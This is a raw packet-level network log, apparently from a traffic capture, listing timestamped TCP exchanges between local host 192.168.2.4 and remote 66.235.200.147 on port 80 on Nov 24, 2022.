Nov 24, 2022 13:27:53.329510927 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.329513073 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.329528093 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.329536915 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.329560995 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.329565048 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.329576969 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.329593897 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.329600096 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.329622030 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.329628944 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.329651117 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.329658031 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.329679966 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.329700947 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.329711914 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.329715967 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.329741955 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.329750061 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.329771042 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.329780102 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.329798937 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.329807997 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.329827070 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.329847097 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.329854012 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.329865932 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.329880953 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.329894066 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.329905987 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.329919100 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.329933882 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.329953909 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.329962015 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.329972029 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.329988956 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.329999924 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.330015898 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.330028057 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.330048084 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.330056906 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.330075979 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.330087900 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.330105066 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.330115080 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.330132008 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.330147982 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.330157042 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.330169916 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.330184937 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.330197096 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.330208063 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.330225945 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.330233097 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.330248117 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.330256939 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.330269098 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.330281019 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.330295086 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.330306053 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.330328941 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.330329895 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.330352068 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.330353022 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.330368996 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.330380917 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.330390930 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.330405951 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.330420017 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.330435038 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.330444098 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.330462933 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.330471039 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.330491066 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.330501080 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.330521107 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.330529928 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.330550909 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.330560923 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.330579996 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.330602884 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.330626011 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.330646992 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.330653906 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.330681086 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.330682039 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.330709934 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.330710888 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.330730915 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.330739021 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.330749989 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.330766916 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.330795050 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.330806017 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.330822945 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.330836058 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.330852032 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.330868006 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.330920935 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.330921888 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.330948114 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.330959082 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.330972910 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.330987930 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.330996990 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.331021070 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.331022024 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.331042051 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.331059933 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.331065893 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.331089973 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.331113100 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.331127882 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.331136942 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.331157923 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.331161022 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.331187963 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.331188917 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.331212044 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.331216097 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.331228971 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.331243992 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.331258059 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.331269979 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.331285954 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.331298113 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.331310987 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.331325054 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.331338882 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.331351042 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.331367016 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.331376076 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.331393957 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.331403971 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.331413984 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.331432104 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.331443071 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.331460953 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.331486940 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.331497908 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.331516027 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.331537008 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.331546068 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.331564903 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.331579924 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.331602097 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.331609964 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.331619978 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.331638098 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.331648111 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.331665993 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.331676960 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.331692934 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.331711054 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.331718922 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.331731081 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.331744909 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.331758022 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.331770897 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.331782103 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.331799984 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.331810951 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.331825018 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.331837893 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.331849098 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.331861973 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.331873894 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.331890106 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.331897974 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.331912041 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.331919909 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.331934929 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.331943989 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.331958055 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.331968069 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.331979990 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.331991911 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.332005978 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.332015991 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.332031012 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.332040071 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.332051992 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.332066059 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.332077980 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.332093954 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.332104921 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.332120895 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.332130909 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.332149982 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.332159042 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.332178116 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.332186937 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.332206011 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.332215071 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.332243919 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.332254887 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.332283974 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.332290888 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.332312107 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.332319021 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.332340956 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.332349062 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.332370043 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.332377911 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.332398891 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.332410097 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.332428932 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.332437992 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.332457066 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.332465887 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.332484961 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.332494020 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.332515001 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.332529068 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.332544088 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.332552910 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.332568884 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.332591057 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.332597017 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.332609892 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.332622051 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.332637072 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.332647085 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.332659960 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.332669973 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.332684040 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.332694054 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.332706928 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.332719088 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.332731962 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.332741976 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.332755089 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.332766056 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.332777023 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.332787991 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.332803011 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.332813978 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.332824945 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.332840919 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.332849979 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.332865000 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.332880020 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.332891941 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.332906008 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.332918882 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.332928896 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.332947016 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.332957029 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.332976103 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.332984924 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.333004951 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.333014011 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.333033085 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.333043098 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.333059072 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.333070993 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.333086014 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.333096981 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.333112001 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.333127022 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.333139896 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.333148956 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.333168983 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.333177090 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.333198071 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.333208084 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.333224058 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.333235979 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.333250046 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.333276987 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.333292007 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.333302021 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.333308935 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.333319902 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.333327055 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.333345890 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.333354950 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.333381891 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.333385944 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.333406925 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.333412886 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.333431005 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.333432913 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.333455086 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.333457947 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.333472967 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.333483934 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.333494902 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.333508015 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.333532095 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.333533049 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.333547115 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.333560944 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.333570957 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.333586931 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.333611965 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.333616018 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.333633900 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.333637953 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.333655119 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.333662987 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.333678961 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.333687067 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.333699942 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.333712101 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.333726883 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.333735943 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.333749056 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.333759069 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.333775043 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.333786011 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.333802938 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.333811045 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.333822966 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.333842039 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.333872080 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.333880901 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.333899975 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.333921909 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.333926916 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.333947897 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.333951950 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.333970070 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.333977938 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.333995104 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.334003925 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.334016085 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.334028959 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.334044933 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.334054947 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.334070921 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.334080935 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.334105968 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.334119081 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.334131956 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.334136963 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.334158897 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.334178925 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.334178925 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.334186077 CET	80	49702	66.235.200.147	192.168.2.4
